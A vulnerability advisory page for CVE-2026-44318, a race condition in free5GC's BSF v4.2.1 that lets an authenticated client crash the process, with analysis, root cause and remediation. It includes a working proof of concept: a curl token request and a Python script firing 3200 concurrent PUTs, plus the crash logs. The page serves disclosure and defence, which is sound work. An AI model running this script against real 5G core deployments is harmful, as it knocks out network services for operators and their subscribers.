Skip to main content

free5GC BSF EUVDEUVD-2026-32567

| CVE-2026-44318 MEDIUM
Race Condition (CWE-362)
2026-05-08 https://github.com/free5gc/free5gc GHSA-27ph-8q4f-h7m7
6.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
6.5 MEDIUM

Network-accessible HTTP endpoint with low race-trigger complexity but mandatory OAuth2 token (PR:L); crash yields no data exposure and no persistent state change, so C:N/I:N/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 24, 2026 - 00:20 vuln.today
Analysis Generated
Jul 24, 2026 - 00:20 vuln.today
CVE Published
May 08, 2026 - 22:41 nvd
MEDIUM 6.5

DescriptionGitHub Advisory

Summary

free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.

This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.

Details

Validated against the BSF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/bsf:v4.2.1
  • Docker validation date: 2026-03-22
  • BSF endpoint: http://10.100.200.11:8000

Read side (locked):

go
func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
    c.mutex.RLock()
    defer c.mutex.RUnlock()

    sub, exists := c.Subscriptions[subId]
    return sub, exists
}

Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):

go
subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscription

Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.

Code evidence (paths in free5gc/bsf):

  • Read side (locked):
  • NFs/bsf/internal/sbi/processor/subscriptions.go:81
  • NFs/bsf/internal/context/context.go:726
  • NFs/bsf/internal/context/context.go:730
  • Unsafe write side (the create-if-absent branch in PUT, no lock):
  • NFs/bsf/internal/sbi/processor/subscriptions.go:111
  • NFs/bsf/internal/sbi/processor/subscriptions.go:114

The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.

PoC

Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.

  1. Obtain a valid nbsf-management token from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'
  1. Send concurrent PUT requests against fresh subId values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):
python
import json, threading, urllib.request

TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
    "events": ["PCF_BINDING_CREATION"],
    "notifUri": "http://127.0.0.1/cb",
    "notifCorreId": "1",
    "supi": "imsi-208930000000003",
}).encode()

def send_put(i, n):
    url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
    req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
    req.add_header("Authorization", f"Bearer {TOKEN}")
    req.add_header("Content-Type", "application/json")
    urllib.request.urlopen(req, timeout=2).read()

threads = []
for i in range(64):
    for n in range(50):
        threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()
  1. BSF container logs (docker logs bsf) show the Go runtime fatal that terminated the process:
[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
    github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f
  1. Container state confirms exit code 2:
exited|2|0

Impact

Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.

Any party that holds (or can obtain) a valid nbsf-management token can:

  • Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process.
  • Repeat the trigger after every restart to sustain the outage.

No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

AnalysisAI

Concurrent PUT requests to free5GC BSF v4.2.1 deterministically crash the Binding Support Function process via an unsynchronized Go map write, collapsing the entire nbsf-management SBI surface until manual restart. The ReplaceIndividualSubcription() handler reads BsfSelf.Subscriptions under RLock() but writes to the same map without acquiring the write mutex in its create-if-absent branch, causing the Go runtime to emit a non-recoverable fatal error: concurrent map read and map write that bypasses Gin's recovery middleware and terminates the process with exit code 2. Publicly available exploit code exists and was validated by the researcher against the official Docker compose lab; the attack is repeatable across restarts, enabling sustained outage for authenticated token holders. EPSS is low (0.04%, 11th percentile), consistent with the OAuth2 token prerequisite limiting opportunistic exploitation.

Technical ContextAI

The Binding Support Function (BSF) is a 5G core network element defined by 3GPP, responsible for maintaining PCF binding records used by SMF and AF for policy control. The affected implementation is the free5GC open-source 5G core stack, Go package github.com/free5gc/bsf (CPE: pkg:go/github.com_free5gc_bsf), version 4.2.1. The BSF exposes an HTTP-based SBI called nbsf-management (N36 reference point) secured by OAuth2 tokens issued by the NRF. The root cause is CWE-362 (Concurrent Execution Using Shared Resource with Improper Synchronization) compounded by CWE-820 (Missing Synchronization): the ReplaceIndividualSubcription() handler at subscriptions.go:111-114 performs a direct map assignment (bsfContext.BsfSelf.Subscriptions[subId] = subscription) without holding the write mutex, while concurrent goroutines hold a read lock via GetSubscription() at subscriptions.go:81. Go maps are explicitly not goroutine-safe; the runtime detects the concurrent read/write and raises a fatal that is architecturally unrecoverable - it is not a panic and cannot be caught by recover(), meaning Gin's built-in recovery middleware provides no protection. All other CRUD helpers (CreateSubscription, UpdateSubscription, DeleteSubscription) correctly acquire the mutex; the bug is isolated to the inline create-if-absent branch of the PUT handler.

RemediationAI

Upgrade to free5GC v4.2.2 or later, which incorporates the fix from commit 277908565fd628d974a13ef562b81a8b7b519ffa (https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa), merged via PR #7 (https://github.com/free5gc/bsf/pull/7). For Go module consumers, upgrade github.com/free5gc/bsf to version 1.0.2 or later. The fix eliminates the unsafe code path entirely by removing the create-if-absent branch: the handler now returns HTTP 404 when the subscription does not exist, routing all writes through the pre-existing mutex-guarded UpdateSubscription() helper. If immediate patching is not feasible, restrict network access to the BSF SBI port (default 8000) at the infrastructure layer so that only trusted 5GC NFs can reach the endpoint; this raises the barrier for token acquisition but does not eliminate the vulnerability for parties already holding a valid nbsf-management token. No configuration-only workaround fully closes the race - the sole complete mitigation is the code fix.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

Share

EUVD-2026-32567 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy